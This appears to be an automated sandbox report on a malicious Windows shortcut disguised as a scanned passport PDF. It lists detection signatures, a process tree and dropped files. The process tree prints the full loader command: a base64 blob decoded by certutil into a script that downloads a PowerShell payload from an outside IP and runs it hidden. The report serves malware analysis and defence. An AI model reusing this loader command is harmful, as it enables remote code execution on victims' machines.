Analysis

  • max time kernel
    298s
  • max time network
    300s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    24/07/2026, 03:44

General

  • Target
    ScanPassportiv1.pdf.lnk
  • Size 16KB
  • Sample260724-eak41afq7x
  • SHA256 4f1fee2f1c7c247bdd7d0bb1e56a9a02372c0a8dbbd964e09b67156e347edd58
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Deobfuscate/Decode Files or Information 1 TTPs 2 IoCs

    Payload decoded via CertUtil.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\ScanPassportiv1.pdf.lnk
    1⤵
    • Checks computer location settings
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:2036
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c "pushd C:\Users\Admin\AppData\Local\Temp && echo dmFyIGg9bmV3IEFjdGl2ZVhPYmplY3QoIk1TWE1MMi5TZXJ2ZXJYTUxIVFRQLjYuMCIpO2gub3BlbigiR0VUIiwiaHR0cDovLzE4NS45NS4xNTYuNzQvc3pjaDIxMDcvd2VzdHJlYWRlci5wczEiLGZhbHNlKTtoLnNldFJlcXVlc3RIZWFkZXIoIlVzZXItQWdlbnQiLCJVQSBXaW5kb3dzUG93ZXJTaGVsbCIpO2guc2VuZCgpO25ldyBBY3RpdmVYT2JqZWN0KCJTaGVsbC5BcHBsaWNhdGlvbiIpLlNoZWxsRXhlY3V0ZSgicG93ZXJzaGVsbC5leGUiLCItTm9QIC1XIEhpZGRlbiAtQyAiK2gucmVzcG9uc2VUZXh0LCIiLCJvcGVuIiwwKTs= > NK.dat && certutil -f -decode NK.dat WDcaHL.js >nul && dir NK.dat >nul && cscript //nologo //b WDcaHL.js && del NK.dat WDcaHL.js"
      2⤵
      • Deobfuscate/Decode Files or Information
      • Suspicious use of WriteProcessMemory
      PID:3308
      • C:\Windows\system32\certutil.exe
        certutil -f -decode NK.dat WDcaHL.js
        3⤵
        • Deobfuscate/Decode Files or Information
        PID:1036
      • C:\Windows\system32\cscript.exe
        cscript //nologo //b WDcaHL.js
        3⤵
        • Badlisted process makes network request
        PID:3036

Network

        MITRE ATT&CK Enterprise v16

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        Downloads

        NK.dat

        • Path C:\Users\Admin\AppData\Local\Temp\NK.dat
        • Size 408B
        • SHA256 3c957000d2ba68b7616b5679785aec00ca34ae7e5c59d94ea0cd13ce53f28a15
        • MD5 SHA1 SHA512 TLSH

        WDcaHL.js

        • Path C:\Users\Admin\AppData\Local\Temp\WDcaHL.js
        • Size 302B
        • SHA256 ade35f3a678b9a87f5c87aed3d5bb7e02dc76a0f8a1754f17fb84d2e1b15669f
        • MD5 SHA1 SHA512 TLSH